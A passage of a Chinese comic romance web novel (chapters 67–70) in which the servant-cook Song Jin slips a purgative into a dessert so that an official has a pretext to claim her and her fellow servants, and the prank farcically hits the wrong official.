因为是个好人,所以宋瑾敢威胁他,而不担心被报复。也因为是个好人,他做不到滥用权力,做出强抢奴婢的事情来。
奴婢是私财,与厅里摆着的大花瓶无异,一个五品官如果硬要拿走,那是谁也拦不住。但是如果真那样做了,他季舒白也就跟土匪无异了。
季舒白做不了土匪,这事只能宋瑾来干。
“奴家有一计。”
宋瑾刚开口,季舒白的眼睛就睁大了:“我同你说过,不可再用那极端冲动的法子。”
“这回不极端。”
宋瑾这一计是伤自己,只是需要季舒白配合。
“如何配合?”
“只消吃一点点苦头便好。”
“你又害人?”
“季大人,”宋瑾吸取经验,轻声辩解:“此计只是让大人有个由头去要人罢了,并不会伤到任何人。”
季舒白眼睛直勾勾地看着宋瑾,企图从她脸上看出“从良”两个字来。
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然而他看了半晌,依然觉得那张看似诚恳的脸上带着一丝不易察觉的狡黠。
“要如何做?”
宋瑾笑了起来,季舒白想要收回那句话已然是来不及了。
这天下午,青杉送宋瑾回食鼎楼,临出门前将那包不曾动过的银子还给她,然而宋瑾却不想带走。
“我若今日带走了,只怕这银子即刻就要被人抢走,还是帮我放在这里吧,等我脱了籍,我再来找大人拿。”
青杉做主,搁下了那包银子,陪着宋瑾回了食鼎楼,同时传话:季大人明日晚间要来用餐,要宋瑾亲自准备,不得有失。
全锐与洪允面面相觑,只得应诺。
宋瑾一下消失了好几天,还是被季舒白抓走的,那日搜查更是将食鼎楼掀了个底朝天。
这事传到文雅耳中,立刻猜到是宋瑾在搞鬼,可偏偏宋瑾手中捏着她的把柄。眼看着食鼎楼众人又被放回来了,官差传话说宋瑾留在季家做几日厨子,她也不好再说什么,只能由着她去。
过了几日,季舒白的贴身随从来传话,说季大人喜欢宋瑾做的菜,想买下这厨役留在家中,顺便买几个跟她一起上灶,她便料到宋瑾又打起了歪主意。
不光自己走,还要把整个食鼎楼的人带走,心里便生了大火气。
她看着青杉那小厮说话客气,季舒白又名声在外,梗着脖子不放人。只回说人可以送过去,想怎么用都随季大人吩咐,至于红契,反正是个烧饭的奴婢,放在谁手里不是一样么。
总之,宋瑾在她手里是得不到自由身的。
事后越想越气,索性命人将老陆和陈婆子从庄子上叫到宅里,好一顿训斥后让留住下来。心中想着等宋瑾回来了,总要给她点利害瞧瞧。
不曾想,没两日,宋瑾便回到了食鼎楼。
宋瑾回了食鼎楼,还是季舒白身边的随从亲自送的。全锐洪允想追问情形,可是宋瑾的嘴严实,根本问不出一句实话来,不得已,只得放弃。
直到夜里众人躺进了被窝,几个丫头们凑在一起后才终于敞开来说话。
“蔓草,你这几日都去哪儿了,可急坏我们了。”
宋瑾道:“季大人将我扣下给他做厨子,我在季家待了几日。”
采薇扭头来道:“我看官差来传话,也是这般说的,可是我瞧着季大人那日的样子,像是要吞了你似的,我是一个字也不信。”
宋瑾淡淡笑着:“信不信不要紧,我只问你们,脱籍一事还想不想?”
“真的可以么?”
红杏支起身子问道,宋瑾索性爬起来说话:“我在季大人家做了几天活,季大人心善,答应帮我们脱籍,你们若是想走,明日便跟我一起,千万别叫那两个知晓。”
“可是脱籍了去哪里呢?”
红杏有些茫然,采薇满不在乎道:“去哪里都好,哪怕再被卖一次呢,也好过在这里围着灶台转。想想咱们从前的日子,怎么着也比在这儿强呀。”
红杏垂头思索着,春云只管看着宋瑾:“那姐姐可以带我走么?”
“当然,不过你可想好了以后去哪里?”
春云眨巴着一双大眼睛,完全理解不了这个问题。
她无处可去。
爹娘是种地的,还是给柏家种地,她在柏家好歹还会管吃管穿管住,回去了便是跟爹娘一起种地,还要自己管开销。
宋瑾猜,要不了几日他们就会把春云再卖回去。
“你跟我走好不好?”
春云歪着个头:“那姐姐去哪里?”
“留在苏州,咱们自己开个酒楼。”
67. 毒妇
宋瑾要开酒楼,这事不是不能成。
她有银子,大家都见过的,若是众人一起走了的话,那就是有厨艺,有下手,不说开个大酒楼,只消把柴家和季舒白这两头的关系打点好了,吃喝定是不愁的。
于是一起脱籍的事情就这般定下了,宋瑾第二日一早带春云去集市采买,采薇红杏则负责跟其他几人通气。
账房阿荣那是有心要脱籍的,两个伙计也乐意跟着走,反正留下来也是看全锐洪允的脸色,谁也看不惯谁,还不如一走了之。
两个婆子摇了头,这一辈子都在柏家,再走走去哪里?在谁家灶台上不是一个烧呢?
她们熟悉了这里,不愿挪动,宋瑾自然也不会强迫。
这天早上,宋瑾领着春云在集市买了傍晚要用的菜后,便堆在一处叫春云看着,自己则去旁边一家生药铺里买了件东西,暗暗地揣在怀里后才跟春云一起回了食鼎楼。
今夜这顿饭不是为着好吃,而是脱身之计,因此宋瑾并没有花费太多心思,只想着做好便是。
没有料到的是,这一晚来的竟不止季舒白一人,卢俊年听说季舒白晚上要在食鼎楼用饭,欢欢喜喜地跟着过来了,他没拒绝。
宋瑾眉头微皱了皱,没有言声,默默将人迎上了二楼。
清蒸鲈鱼,糯米蒸排骨,白灼虾,白切鸡等菜式一一上来,卢俊年高兴不已。
“舒白兄啊,难得这么大方,我就知道跟着你来准没错。”
然而季舒白一双眼睛全盯在宋瑾的脸上。
这问题会出在哪里呢?
宋瑾不言语,只默默上菜,直到最后端上来一道焦糖布丁。
“听闻季大人爱吃甜食,这是小店特意为大人准备的,请慢用。”
宋瑾捧着一碗焦糖布丁,看了季舒白一眼,季舒白立刻猜到有猫腻,手上的动作便顿了顿。
这一顿,焦糖布丁便到了卢俊年手中。
“这就是你的不是的,怎么只记着人家季大人的口味,忘了本官的口味。本官也爱吃,这碗归我,你再准备一份给季大人去。”
宋瑾:“......”
宋瑾转头去看季舒白,心想要不要制止一下,然而季舒白却单手握拳抵在唇上,将视线扭开了。
“嗳,你这焦糖布丁味道同以往不大一样啊,是添了什么新料么?还是从前的好吃。”
宋瑾淡笑着回应,直言下次定改回原来的方子。
卢俊年夸她听得进话,吃的很满足,吃完又叫重新上茶来,宋瑾只得下去准备。
等茶上去了,宋瑾便回了厨房忙碌,约莫过了半刻钟,外头传来动静。
宋瑾都不用去看,就猜到是卢俊年在找茅厕。
巴豆份量她下的足足的。
卢俊年蹲在茅厕里头,季舒白候在外头,愁的直揉眉心。
“我就说这人小肚鸡肠,你到底把她怎么了?下手竟如此歹毒!”
“这个毒妇,等我出去了,我定要她好看!”
“我告诉你,等我好了,哎哟......”
“......我跟她没完!”
......
季舒白原本离茅厕有些近,心中思索该如何去安抚下卢俊年,可是站着站着,双脚便不由自主地往远处挪去。
宋瑾趴在门框后头往这边偷看,季舒白一个眼神扫来,她立刻缩了回去。
全锐和洪允接了食鼎楼,只得跟过来赔罪,经过宋瑾时,毫不客气地提着衣领将人拽了出来。
“季大人,季大人,小的们冤枉啊。都是这小贱人,定是她作怪,与小人无关啊。”
“是啊季大人,今夜这顿饭都是她准备的,可没经小人的手啊。”
全锐说着话,一脚踢在宋瑾的腿上,踢的她往前一跪。
“大人,这小贱人心术不正,鬼主意最多,平日又与我们不睦。想必是记恨那日大人将其抓走,今日听闻大人要来用饭,便在饭菜之中下毒,想要暗害大人您呀。”
几人将责任全往宋瑾身上推,季舒白的视线不禁撇向宋瑾,只那一眼便火上心头。
宋瑾跪的倒挺直,可那脸上哪有一丝认错的样子,两只眼睛无辜地看向季舒白,满脸都写着:你看着办吧。
“对此你作何解释?”
季舒白问话,宋瑾只得答道:“是小人糊涂。”
这便是认罪了。
“糊涂?”不远处传来卢俊年虚弱但愤怒的声音:“胆敢给朝廷命官下药,一句糊涂就过去了?”
随从扶着卢俊年往宋瑾这边走来,彼时他已在茅厕三进三出了。
“好你个文掌柜,有胆量啊,开个酒楼还下起药来了。今日本官不办了你,往后谁还敢在酒楼里用饭!”
“卢兄,此事......”
“哎哟——”卢俊年没听季舒白把话讲完,便捂着肚子再次奔进了茅厕。
宋瑾跪着跪着,感觉一道寒光射来,抬头就看见季舒白正盯着她。
思虑再三,她弯了弯笔直的背脊,垂着头将整个身子往下压,压的季舒白根本看不清她的脸。
“季大人,是小人错了,小人一时糊涂。”
她没听见季舒白说话,只听见一声叹息。
“大人,您听见了,这是她干的,与小店无关,更与我们无关啊。”
“是啊大人,小的们开店做生意,哪有往客人碗里下药的道理。都是她,心肠歹毒,谋害大人,与小人们无关啊。”
......
季舒白的那双皁皮靴在宋瑾的眼前来回走动,不一会儿她就听见了卢俊年的声音。
“季大人,今日我必要问个清楚,我招谁惹谁了!”
又虚弱了一些,宋瑾将头垂的更低。
“你!到底为何给本官下药?”
不得已,宋瑾只得抬起头来,委屈巴巴道:“这药并非是给大人的......”
“什么?”卢俊年弯着腰,歪着身子看向季舒白:“她好像是给你准备的。”
季舒白没有办法,只得再问:“何故谋害本官?”
宋瑾一脸的诚恳:“我前些日子到大人家中做厨役,可是大人您......您不给结账。”
季舒白:“......”
“你欠人银子了?”
面对卢俊年的追问,季舒白揉了揉鼻子。
事情是怎么发展成这样的,他也搞不清,只知道宋瑾会轻轻害他一下,然后他便以此问罪,以私下了结为由,将人带走发落。
然而他也不知道宋瑾的法子居然是泻药,还“阴差阳错”地喂给了卢俊年。
那药效,看起来似乎不错。
“确实是本官有错在先。”季舒白闭着眼认了宋瑾的指认。
还能怎么办?当初就不该信她。
“你有什么错?”卢俊年才不会像季舒白那般好说话:“不过欠了几文银钱,她就要下毒害人,这还了得?反了天了。”
“本官告诉你,今日本官不好好的治治你,我这个官也不用当了。”
宋瑾连忙辩解:“大人饶命啊,小的替主母出来做生意,实属不易。若是主母知道小的出去做事却没有拿回银子来,定会责罚小的,小的一时害怕,才拿错了主意呀。”
“你拿不到银子不会去讨啊?况且这拿不到哎哟——”
卢俊年气愤太过,用力太甚,肚子
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的反应也就来的快了些。此刻腹痛来袭,他只好扶着人又往茅厕去了。
季舒白则是垂眼看地,过了半晌才抬眼看向宋瑾,语气淡淡的,像是在处理一件稀松平常的事情。
“此事本官必不会善罢甘休,食鼎楼诸人都要问责。”
“冤枉啊大人——”
众人叫屈,宋瑾差点儿就把手伸出去叫季舒白赶紧把自己抓走了。
然而季舒白却没有任何动静,转身去找卢俊年了。
宋瑾看着季舒白将刚出茅厕的卢俊年拉到一个角落说话,看着卢俊年气愤不已,又看着他萎靡下来,只是一双眼睛恶狠狠地盯过来。
接着,他走了过来。
“就是你,蓄意谋害本官是吧?”
宋瑾:“???”
“成,我倒要去找找你那主母,好好的治一治你。”
真棒!
然而旁人不这么认为。
“大人,大人啊,这家店乃是我家公子的呀,哪来的什么主母呀,大人莫要听她胡乱攀扯。”
宋瑾歪过头来看着全锐与洪允,明白这是要把文雅给摘出去。
怎么可能叫他得逞。
“小人不知道什么公子,小的只认柏家二房主母。”
全锐洪允:“???”
这一晚,食鼎楼提前打烊,一众人跟着那两顶轿子往柏家去了。
柏家的正厅里,卢俊年坐在右首,季舒白坐在左首,底下跪倒一大片,连文雅也不例外。
她在外头开酒楼,自己的厨子给朝廷官员下毒,文雅只觉得背上汗湿了一大片。明知是宋瑾搞鬼,此刻也不敢说出来,那场立继的官司当初闹的凶着呢。
“二位大人,此事与老身无关,定是底下人糊涂。”
“当然糊涂!”卢俊年想呵斥,却没多大声量,此刻更是捂着肚子:“你家的人出去做生意,竟做出这等事情来,我看是上梁不正下梁歪,糊涂的岂止是她一个,你们一个个都逃不掉。”
文雅汗如雨下:“老身明白,可是大人,此事老身确实不知啊。”
“哼!你不知就无过了么?那人是你教养出来的,如今做出这等事情,以为说一句不知便想全身而退么?”
“这家的家主呢?怎么就你出来?我要找家主!”卢俊年站在厅中叫嚷着,昔日风度尽失。
文雅忙解释:“夫主前年已经过世,如今是侄儿打点家业,今夜尚未归来。请大人放心,将他们交由老身,这次一定管教好。”
“你管教?管教成这个样子也敢提管教?”卢俊年怒指着宋瑾,“她,敢在本官的饭菜里下毒,往后指不定干出什么事来。这种人还有什么好管教的,就该给拖到衙门里过一遍刑,没准儿犯了不止这一桩案子呢。”
宋瑾伏在地上听了这话,心中倒是赞同,只是如今这架势看起来似乎过于严峻,不禁心中打起鼓来,悄悄歪头往上面看去。
先入眼的是一双皁皮靴,再往上是一件苍蓝缎地团窠宝照纹的直身衣,腰间系着玉绦钩带。
季舒白身姿好,大袍上身,绦带一系,看起来颇有君子风度。
宋瑾用力旋转了下脖子,企图看清季舒白的表情,可是却没看清脸,只瞧见一只葱根般的手端着茶碗,此刻正不紧不慢地饮着,眼神淡然,没有一丝要为她说话的架势。
宋瑾脖子扭的发酸,只好先垂下来,吸了口气再去看季舒白。
叫她意外的,季舒白这回也看向她。
四目相对,宋瑾似乎看到了一抹笑意,她怀疑自己看错了,用力的眨了两下眼睛再去看。
这一回她确认了,季舒白此刻正含笑看向她。
那笑意里带着玩味。
68. 得逞
卢俊年跟着季舒白在食鼎楼里吃了顿饭,吃到最后恨不得住在茅厕里,等肚子稍微消停了些,便带着众人到柏家兴师问罪来了。
宋瑾是全部承认,就是她干的,因为季舒白雇她不给银子,然而卢俊年却好像忘了这个理由一般,直言宋瑾是个毒妇,是文雅没有管教好。
文雅惊的一身汗,想把宋瑾推出去,又怕宋瑾当场嚷嚷出自己的私房来。毕竟当初那场官司闹得人尽皆知,她不是讨喜的那个,此刻便不得不伏低做小,忍气吞声。
而本该吃下巴豆的季舒白此刻正坐在厅上旁观看戏,顺便对心中开始发慌的宋瑾露出一个叫她更慌的微笑。
柏家突然来了一帮人,还有两个官,一下子炸开了。
有人去找还未归家的柏元槐,有人去找被扣下的老陆和陈婆子,有人跑到廊下看戏。
总之,一个都不闲着。
“大人,此事确实是老身的过错,看在老身年岁已大,求大人放过。”
“放过?”卢俊年冷哼一声:“我就是放过了你才会没有带衙役来,不然你以为是在你家厅里讲话,早就到衙门里头去了。”
卢俊年大刀阔斧地坐在那里:“我告诉你,你的人在外头做生意,结果谋害本官,虽不致命,但着实可恨。”
话及此,忽然一转:“不过,看在你年岁已大,实属不易的份上,本官给你一个折中的法子。”
“什么法子?”
卢俊年伸手一指这群人:“叫这帮人从今往后去我家后厨,给我好好的赎罪,本官便不再追究。”
“大人,这......”
这便是要将所有人都带走的意思了。
宋瑾听出这意思来,扭头再去看季舒白,却见他坐在那里正百无聊赖地把玩着自己的手指。可她自己还跪趴在地上呢,石头地面跪的膝盖生疼,还不能挪位置。
宋瑾微微侧身,想放松其中一只膝盖,结果另一只更疼,只得放弃。
“我不与你纠缠,如今这屋里当家的是谁,叫他出来!”
卢俊年要把柏元槐扯进来,文雅不禁冷汗直冒。
谁知柏元槐还未归家,老陆和陈婆子先奔了出来。
“大人,小女冤枉呀,小女不是能做出那等歹事的人啊!”
“大人,冤枉啊!”
一对老夫妻听闻女儿给官员下毒,第一反应便是冤枉,哪晓得宋瑾早就认了。此刻宋瑾听见二人为她叫屈,不禁心虚起来。
这要是给两个老人家知道了,那不得吓死。
“这又是谁?”
卢俊年闹到一半,突然窜出来一对老夫妻,他也纳闷了。
宋瑾趴的更狠:“是小人的爹娘。”
“哦——”卢俊年将声音拖的长长的,撇了眼坐在那里旁观的季舒白,季舒白又看向宋瑾。
宋瑾正偷看他二人呢,此刻看见季舒白询问的眼神,赶紧补充示意:“小人的爹娘乃是小人的命,爹娘在哪里,小人便在哪里。若是大人硬将小人一家分开,岂非叫小人不孝,这罪名小人万万担待不起啊。”
“胡扯!什么担待不起不孝的罪名?说的好像给本官下毒的罪名你就担的起似的。”
宋瑾伏在地上,只听见卢俊年训斥她,却不见季舒白吭气,心中暗道:原来老实人学坏了比坏人还要坏。
身后两个婆子跟着哭嚎起来:“大人,老奴冤枉啊,老奴虽在后厨,但绝不敢做下毒之事啊。”
宋瑾歪着脑袋,确定季舒白看着自己后轻轻摇了摇头,果然没一会子就听卢俊年道:“既然你们两个老婆子不肯去,也好,年纪大了办事不利索。换他俩,一块儿带走。”
宋瑾心里松了口气,一家子都出去了,事情就好办了。
然而这口气刚歇下,一个人又将它提起了。
“二位大人,这是怎么回事?”
柏元槐回来了。
宋瑾看见一双石青色靴子从眼前走过,一股酒气飘来,估摸着是在哪个酒桌上叫人找回来的。
卢俊年听见问,都懒得理他。
“自己家的事,你自己问!”
柏元槐无法,只得将视线投到文雅的身上:“婶婶,这是怎么回事?”
这是文雅最怕的事情。
若是只是一个食鼎楼没了也就罢了,要是宋瑾给她牵扯出文新和马蹄巷的放债生意来,那就得不偿失了。
“从前......家中小厮在外头做生意,如今惹出祸事来......”
“生意?什么生意?侄儿怎的不知?”
文雅心里发虚,转脸看向宋瑾。
宋瑾还是那样,乖乖趴着,只字不提马蹄巷,也不提文子晋的假身份。
“一些小生意。”
宋瑾在众人看不见的地方微笑着。
“小生意?”
“好了好了,你们家的生意事后慢慢算去,本官现在只问给本官下毒一事,究竟是私了,还是见官。”
“大人,”文雅伏下身来:“大人若要这些下人赎罪,那便带回去吧。”
卢俊年伸出手来晃晃:“东西。”
文雅只好示意杜鹃去取,没多大会子一叠子红契便到了卢俊年手中,只见他挨个翻看着,翻看完了才想起来,这假文子晋的真名他还不知道呢,于是将红契丢给季舒白。
“帮我收着,茅厕在哪里?肚子又痛了。”
卢俊年捂着肚子又走了,季舒白无事人一般慢腾腾地看,而宋瑾心中明白局势已定。
不曾想,到了这个时候,还是有人蹦出来了。
不是别人,正是阿荣。
“大人,小人与家中婢女杜鹃已经定下终生,此次若是分别,只怕再难团聚,还望大人成全。”
“是么?”季舒白不紧不慢地回着:“都说君子有成人之美,本官今日便替卢大人做主,许你二人一同前去。夫人开个价吧,本官买下便是。”
文雅哪里敢开价,直言相送,便又命人去取了杜鹃的红契出来。
至于全锐洪允,宋瑾是懒得管的,就让文雅跟文新说去。
不多时,卢俊年从里头出来,见事情办的差不多了,起身便要走人。经过宋瑾身边时,不忘怒瞪一眼:“跟着本官走,一定有你好果子吃!”
宋瑾撇撇嘴,挪动双腿准备起身,然而她终究还是跪少了,此刻膝盖疼的起不来身。还是春云眼尖,将她扶了起来。
就在她揉膝盖的功夫里,就听见柏元槐一句冷言:“原来婶婶还有另外的生意呢。”
文雅没敢出声,看着柏元槐出去送客,转身怒瞪宋瑾一眼。
“你记着,我过去是你的主母,就永远是你的主母。不论什么时候见到我,你都低我一等,别以为攀上了卢大人就一步登天了。”
宋瑾冷笑一声:“大奶奶,你错了。今日我出了这柏家门,便与你再无干系,你的规矩还是你自己守吧,至于我在哪里都与大奶奶无关,能不能登天也不由你说了算。”
这边宋瑾与文雅怒目而视,那头老陆叫陈婆子去收拾东西,当下众人便要跟着走了。<
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p>至于他自己,则做出了一件叫宋瑾惊掉下巴的事情来。
他追上了季舒白。
“季大人,季大人,求您救救小女啊。”
宋瑾:“......”
“季大人,您说过要娶小女的呀......”
天炸了!
宋瑾此刻也顾不得膝盖疼,连跑带跳地扑上去,一把捂住了老陆的嘴:“爹,别说了!”
然而老陆却不是个听劝的,伸手掰开宋瑾的手:“季大人,您既有心我家蔓草,怎能见死不救?求季大人救救蔓草,求卢大人开恩啊......”
老陆哭着就往地上跪去,宋瑾是拉也拉不动,拽也拽不起,转头去看季舒白时,就见那一张刚刚还儒雅的脸此刻已气得通红。
“嘿嘿,误会,误会......”
“你俩什么时候勾搭上的?”
卢俊年听信了季舒白的鬼话,说是在牢里打了人家,于心不忍,想帮她一次。于是懵里懵懂的做了一晚上的打手,临了却听到这么一个消息。
年已三十,至今未娶,外人眼中的端方君子竟然与食鼎楼一个女扮男装的家奴有私情,这要是传出去了......
卢俊年捻着胡子,想象着衙门里到时该多热闹啊,那不得各个都来跟他打听呀?
“你到底,撒了多少谎?”
季舒白哑着嗓子质问,宋瑾只觉得双腿打颤,根本不敢答话,差点儿就跟着她的老爹一块儿跪下去了。
“......季大人......误会,不是您......”
“不是他那是谁啊?衙署里头还有第二个季同知?”
宋瑾:“???”
天要亡我啊!
宋瑾还要解释,然而季舒白已经沉着脸,一甩袖子上了轿子。
卢俊年则站在那里上下打量着宋瑾:“还真是人不可貌相啊,我说他怎么突然好心要帮你脱籍呢,原来还有这出呢。有意思。”
等他话说完,季舒白的轿子也已经出发了,卢俊年似乎还没玩够:“嗳,舒白兄,等等我呀——”
宋瑾心中惴惴不安,拖着一帮人跟着卢俊年的轿子走,阿荣扯了扯她的袖子。
“接下来怎么办?”
宋瑾道:“把红契拿到,脱了籍再说,我有银子,咱们自己做生意。”
“卢大人能给咱们么?”
宋瑾原本是很有信心的,可是现在......
“......会吧。”
半道上,季舒白掀了轿帘,对着青杉吩咐了几句话,接着宋瑾就看到全锐和洪允被单独带走了。
轿子没有往衙署方向去,而是去了季舒白的私宅,老陆得知后,更加确定了。
“这还没成亲就住一起,不合适吧?”
宋瑾恨不得把老陆的嘴给缝上:“爹,再别提这件事了。”
“怎的?季大人又不肯娶你了?”
“没那回事,是我怕你答应文公子,拿来诓骗你的。”
“啊?你胆子也忒大了,如今可怎么是好?这万一......”
“不用担心,季大人大度,不会同我计较的。”
宋瑾嘴上说着没事,心里却已经在想:实在不行她就跪一个好了,反正季舒白吃软不吃硬,只要不跟他对着干,还是很有希望的。
她现在就很后悔,后悔那日在街上没有听春云的话,借着一身伤去求季舒白,否则依季舒白那个性子,她应当早就自由了。
当初的自己到底在犟什么?
69. 打算
这一夜有意思,一屋子的人因为各种能说的,不能说的理由,集体装聋作哑,竟装到一起去了,叫宋瑾捡了空子脱身。
唯二的老实人是被蒙在鼓里的老陆和柏元槐,就连季舒白都没能逃过,带头扯起了谎。
一路上他都在想,事情是怎么发展到这个地步的?
他怎么就跟宋瑾扯到一起去了?
他什么时候对宋瑾有心了?
不是一直都是她在骗他害他么?
这个女人到底撒了多少谎?
他怎么也开始熟练地撒谎的?
......
可惜,他一个进士的脑子也没能想出答案来。
接着又想到跟来的卢俊年,依他的性子指定是要追问的,他就算不想答,可人家刚刚才帮了自己的忙,这张嘴该怎么堵呢?
唉,头疼死了。
轿子进了季家,门子刘老汉一见竟来了这许多人,竟有些不知所措起来。
“小主人,这是?”
“给他们安排下人房,卢大人马上走。”
“唉,等等,干嘛赶我走啊?我不走,我歇会儿。”
季舒白头更疼了。
“那这位......”
刘老汉是认识宋瑾的,从前单独一间小院,如今安排下人房,是不是不大合适?
季舒白回头看了眼宋瑾,宋瑾察觉到,立刻回他个嘿嘿一笑。
“一样。”
季舒白脸色不大好,宋瑾才懒得管,哪里不是个住?别是柴房就好。
宋瑾安排众人跟着陈妈妈去收拾屋子,准备住下,自己又跑到厨房烧水,准备洗漱。
几人看她对这里的熟悉程度,越发怀疑她跟季舒白的关系。然而宋瑾对这些猜测一无所知,只知道脱籍就在眼前,自由就在眼前。
宋瑾忙活了一阵,阿荣连同两个伙计以及杜鹃等丫头们都到了厨房来帮忙,几人折腾一晚,饭都没吃上,索性一边弄吃的,一边谈心。
那头季舒白下了轿子,给陈妈妈撂下话后,就直接往里头去了,卢俊年在后头追。
“舒白兄,舒白兄?你等等我呀。”
季舒白走的更快了。
“舒白兄,我听闻她这几日都住你家,你俩可是要成亲了?要成亲了还......”
卢俊年话未说完,季舒白已经瞪了过来,可卢俊年不似宋瑾那般惧他,尤其是今晚。
“舒白兄,这是何必呢?成亲是好事呀,就是......就是身份低了些,嘿嘿......”
季舒白掉头便走,卢俊年快步跟上:“嗳,舒白兄,咱们相识这么久,还真没看出来,这真君子也有拜倒石榴裙下的时候呢......”
“我几时说要与她成亲了?”季舒白被吵得头疼不已。
“那刚刚......”
“你问她去!”
季舒白没好气地继续往里头书房走去,卢俊年跟上。
“舒白兄,你要这般讲,那我可就不客气了。”
“什么不客气?”
季舒白往书案里头一坐,将那几张红契丢在桌上,卢俊年也如回了自己家一般在对面坐了。
“你看,这小妮子折腾出这许多事来,为的什么?”
季舒白想也不想:“自然是为了脱籍。”
“就是嘛,脱籍,那这红契现下在谁的手头?”
季舒白看了眼桌上,忽然明白过来:“你要做什么?”
“我要做什么?”卢俊年冷哼一声:“今日我帮她是应你所求,替她拿到红契,可是这下毒之恨我可没忘。你若有情,那也罢了,你若无心,那我可不会轻饶她。”
“你到底要干什么?”
“我能干嘛?我教她做个好人啊。”
“你别胡来,到时候吓着人家。”
“你心疼了?”
卢俊年的脸上洋溢着坏笑,季舒白却气得脸颊通红:“少胡说。”
“那便是无心了,这红契可就归我了。”说完也不管季舒白,伸手便将桌上一叠红契抓走了。
“卢兄,你这是做什么?我答应过要给她的。”
季舒白伸手要抢,哪里抢得过卢俊年。
“你是答应了,我又没答应,你叫她来找我。”
“那么些人都跟着来了,你让我怎么交待?让她怎么交待?”
“心疼啦?”
“你这不是胡闹嘛?”
卢俊年不依:“我扣个红契叫胡闹,她给我下毒算什么?”
季舒白说不过,他谁也说不过。
“卢兄......”语气近乎哀求。
卢俊年看季舒白实在为难,终于心软,决定放他一马:“这样好了,我就扣她一个,你拿别人的红契去交差,这总不为难了吧?”
“卢兄......”
“她叫什么名字?”
季舒白与他僵持着不言语,适逢青杉进来奉茶,卢俊年便问:“他们人呢?”
“他们在厨房煮些吃食,一会儿就该歇下了。”
“嗬!”卢俊年看向季舒白:“这是把你这儿当成自个儿家了。”
季舒白无言,倒是青杉说话了:“陆姑娘在我家住了好些日子,熟着呢。”
“陆姑娘?”
卢俊年意外得逞,一脸的坏笑,季舒白无奈罢手,卢俊年得意洋洋地翻看着那叠红契。
红契里只有宋瑾的陆蔓草和老陆的陆才是姓陆的,他抽出了陆蔓草的那张,将剩下那叠还给季舒白。
“想脱籍,叫她来找我,或者你俩......”
“你说什么呢?”
“不说不说,今儿我先回去。”说完还不忘坏笑着补充:“记着啊,叫她来找我。”
季舒白叹气,青杉不解:“这是怎么了?”
季舒白不答,只道:“我去厨房瞧一眼。”
宋瑾此刻已经跟众人煮好了吃食,几人也没什么讲究,厨房里拉开桌子,摆上简单的食物,热热闹闹地吃了起来。
陈妈妈是季家的老人,这院子虽大却很空,眼下这般热闹实在少见,高兴地将自家老汉藏的一坛子酒搬了出来,大家边吃边说话。
“蔓草,等咱们脱了籍去哪儿?”阿荣喝了杯酒问。
“我早就想好了,我有银子,买地是不够的,但租间门面做个生意绝无问题。”
“等咱们出去了,先租间院子,要大,咱们一起住下。前头开店,后头住人,和从前一样,咱们卖吃的。”
“食鼎楼一时半会儿的恢复不了元气,何况有些菜只有我会做,咱们先把从前的熟客接过来,再慢慢做大。”
“我看成,”伙
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计来福道:“咱们人手都是现成的,有些客人也是相熟的,就差个铺面了。”
“那咱们又得叫你掌柜了,陆掌柜,可千万记得雇咱们。”
阿荣说着话,来福已经举起酒杯:“来来来,一起祝贺陆掌柜。”
众人兴奋举杯:“千岁!”
季舒白站在厨房外头,将里面的对话听得一清二楚,却不敢进门。
该怎么告诉她,红契叫卢俊年给扣了?
思虑再三,季舒白决定先瞒下来,等他拿回红契再给她便是。
“小主人,怎的来厨房了?这里脏,要吃什么同我说,我叫老婆子做好送去。”
门子见卢俊年走了,也想来凑个热闹,结果在厨房门口遇上了季舒白,以为他是饿了。
“我不饿,你们吃吧。”
说罢转身要走,却惊动了里头的宋瑾,此刻已丢了杯箸,寻了出来。
“季大人?”她有点欢喜:“今日多谢季大人了。”
季舒白将头一垂,莫名惭愧起来:“也不是什么大事。”
“卢大人今日受苦了,奴家想是不是该去赔个罪......”
“不必了,”季舒白连忙制止:“卢大人事务繁忙,你就不要过去打扰了,我会替你说的。”
“哦,”宋瑾不清楚这里头的猫腻,笑着道:“那就麻烦大人了。”
“今日只拿了红契,脱籍文书等写好后柏家会派人送来,到时我会让青杉来告诉你,记得带大家去衙门改了黄册户籍。”
“好,大人要不要进来喝杯酒?大家都想谢谢大人呢。”
“不了,你们吃吧,我困了。”
宋瑾笑笑,没再挽留,只是提了个要求:“今日大家出来的匆忙,也没有收拾箱笼,大家怕回去后被刁难,所以......”
“我明日派衙门的人陪你们回食鼎楼取东西。”
“多谢大人。”
季舒白苦笑一声,告辞回去了。
这一夜睡得极差,以至于天色一见亮,他便匆忙起床,他要回衙署找卢俊年拿回宋瑾的红契。
季舒白难得与人争执不下。
“卢兄,你就给我吧,你若心中有气,我再请你吃三顿,好不好?”
“不好!我就是气不过,你说她用什么手段不好,给我下巴豆,你知不知道我昨夜起来几趟?”
“卢兄,她也不是故意的......”
“她就是故意的,我还怀疑你也是故意的。平日没见你多大方,昨儿怎么就把那碗点心让我了?你可是早就知道了?”
季舒白直叹气,卢俊年见了更加肯定了。
“你知道啊?”
“我知道什么?我只知道......”季舒白一时卡在那里,他是知道要出事,但具体怎样他也不确定啊。
“知道什么?你说知道什么?你知道她会害你对吧?你知道饭菜会出问题的对吧?你们两个昨儿那么稳当,一定是早就商量好了的,就我这个老实人给你当一晚上的打手,气死我了。”
卢俊年单方面确认了季舒白的罪行,更加生气了,可季舒白担心的却不是这个。
卢俊年再生气,至多为难下,宋瑾要是认为脱籍无望,那可是什么都干的出来的,他们两个一旦对上,后果只怕不妙。
“是,我对她有情。”
70. 失算
卢俊年在衙署的小书房里宁静了片刻,接着便是一阵恍然大悟的声音。
“我就说你这个人不对劲,果然叫我猜对了。嗳,你等等——”
季舒白听不下去,伸手要往卢俊年怀里摸红契,卢俊年扭着身子躲开。
“你这人怎么还动手了呢?你从前可不是这样的,果然这男人动了心就是不一般,你不会对人家也这样了吧?”
季舒白在卢俊年怀中摸了半晌,愣是没摸着红契,又被卢俊年拿来跟宋瑾开玩笑,此刻气得脸红脖子粗的。
“你别闹了。”
“怎么是闹呢?我可跟你说,你一个进士,她一个家奴,你还不曾娶妻,你要让她过门,算妻算妾啊?”
“我好端端的纳什么妾?”
“这就是了,”卢俊年忽然认真起来:“如今你纳妾不当,可是你真要娶个家奴为妻么?虽然人家不是罪奴,可你是个进士呀。给你季家那帮族人晓得了,哪能同意啊?”
季舒白头疼欲裂:“我没有要娶她......”
“那做通房啊?从柏家家奴变你季大人的家奴,从厨房换去你卧房啊?不是我说,那小娘子看起来可不是好拿捏的,当心你被她拿捏。”
“你胡说什么?”
